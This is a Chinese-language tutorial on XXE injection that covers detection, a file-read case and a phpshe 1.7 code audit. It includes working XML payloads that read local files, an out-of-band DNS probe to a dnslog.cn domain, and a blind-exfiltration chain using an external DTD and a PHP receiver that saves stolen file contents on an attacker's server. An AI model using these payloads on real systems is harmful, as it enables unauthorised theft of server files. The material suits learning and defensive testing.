什么是xxe漏洞?

XML被设计是为了传输和存储数据,XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XXE黑盒发现:

1、获取到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试

2、不管获取的是Content-Type类型还是数据传输类型,均可尝试修改后提交测试xxe

3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

XXE白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

案例:xxe漏洞-读取文件

一个登录功能

抓包发现是使用xml类型传输的数据,可能存在xxe漏洞

伪造一个读取文件的xml外部实体payload

读取文件:

<?xml version="1.0"?>

<!DOCTYPE Mikasa [

<!ENTITY test SYSTEM  "file:///d:/www.txt">

]>

<user><username>&test;</username><password>Mikasa</password></user>

www. txt内容  :xiaoheizi:请不要试图读取我

成功读取到文件内容

案例:xxe漏洞-带外测试

带外测试:为了在网站不回显时,确认漏洞是否存在

打开网站dnslog.cn获取测试域名

测试xml代码:

<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://eb3q1r.dnslog.cn">
%file; 
]> 
<user><username>&send;</username><password>Mikasa</password></user>

更改数据包发送

dns成功接收到访问信息,说明插入的xxe漏洞payload被解析执行了,存在xxe漏洞

案例:xxe漏洞-解决无回显问题

dtd格式文件:

dtd是xml的一个实体文件,里面写的是xml的代码。可以解决拦截防护绕过问题和数据不回显问题。

无回显读取文件内容的xml代码:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///d:/www.txt">

<!ENTITY % remote SYSTEM "http://127.0.0.1:100/test.dtd">

%remote;

%all;

]>

<root>&send;</root>

意思是:读取www.txt内容,发送给http://127.0.0.1:100/test.dtd。

test.dtd内容:<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:100/get.php?file=%file;'>">

意思是:接收数据到get.php文件

get.php内容:

<?php

$data=$_GET['file'];

$myfile = fopen("file.txt", "w+");

fwrite($myfile, $data);

fclose($myfile);

?>

意思是:将接收到的数据写入到file.txt文件中。

抓包修改接收的数据为xxe漏洞payload

点击发送,攻击者服务器下成功生成一个file.txt文件


打开成功获取www.txt的内容


简单来说就是:目标网站不回显,攻击者就把获取的数据发送到自己的服务器上去看

案例:xxe漏洞-phpshe1.7源码(无回显审计)

1.浏览器搜索一些xxe漏洞的函数

如:simplexml_load_string()函数

2.打开源码全局搜索漏洞函数。使用的审计工具是:Seay源代码审计系统

3.依次打开函数位置,审计代码发现大概率存在xxe漏洞


4.可以看到pe_getxml方法调用了漏洞函数,要确定是谁调用了pe_getxml

选中方法---右键---全局搜索

5.wechat_getxml调用了pe_getxml,要确定是谁调用了wechat_getxml


最后确定是notify_url.php文件调用了wechat_getxml。

6.访问notify_url文件触发wechat_getxml函数,构造Paylod测试

7.抓取访问notify_url.php文件的数据包


8.尝试读取文件无回显,使用带外测试看看有没有漏洞


dnslog有解析记录,说明存在xxe漏洞

9.使用带外传递数据解决无回显

10.发送数据包,成功在攻击者服务器生成一个file.txt文件接收读取的数据


内容:

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。